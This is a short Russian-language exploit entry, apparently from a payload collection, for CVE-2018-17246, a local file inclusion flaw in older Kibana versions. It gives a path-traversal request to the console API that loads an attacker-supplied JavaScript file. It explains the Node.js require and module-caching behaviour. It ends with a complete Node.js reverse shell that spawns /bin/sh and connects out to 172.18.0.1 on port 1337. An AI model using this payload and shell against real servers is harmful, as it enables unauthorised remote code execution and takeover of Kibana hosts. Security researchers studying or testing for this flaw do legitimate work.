
CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
Уязвимость локального включения файла (Local File Inclusion, LFI) в Kibana, обнаруженная CyberArk Labs. LFI может быть использована для выполнения обратной оболочки (reverse shell) на сервере Kibana с помощью следующей полезной нагрузки:
/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../path/to/shell.js
Как вы уже догадались, эту атаку необходимо сочетать с неограниченной загрузкой файлов или любой другой уязвимостью, позволяющей записать файл на сервер.
Поскольку проверка входных данных отсутствует, мы можем изменить имя JavaScript-файла на любое другое. В данном случае с помощью метода обхода пути (path traversal) мы можем выбрать любой файл на сервере Kibana. Однако следует помнить о функции кэширования модулей в Node.js. По сути, поскольку LFI работает путём передачи непроверенных пользовательских данных в функцию
require, включаемый модуль (полезная нагрузка атакующего) будет кэшироваться по имени файла. Это означает, что вы не можете отправить ту же самую полезную нагрузку, например, чтобы получить обратную оболочку.

Сведения об уязвимости: https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
Рекомендации по безопасности: https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "172.18.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();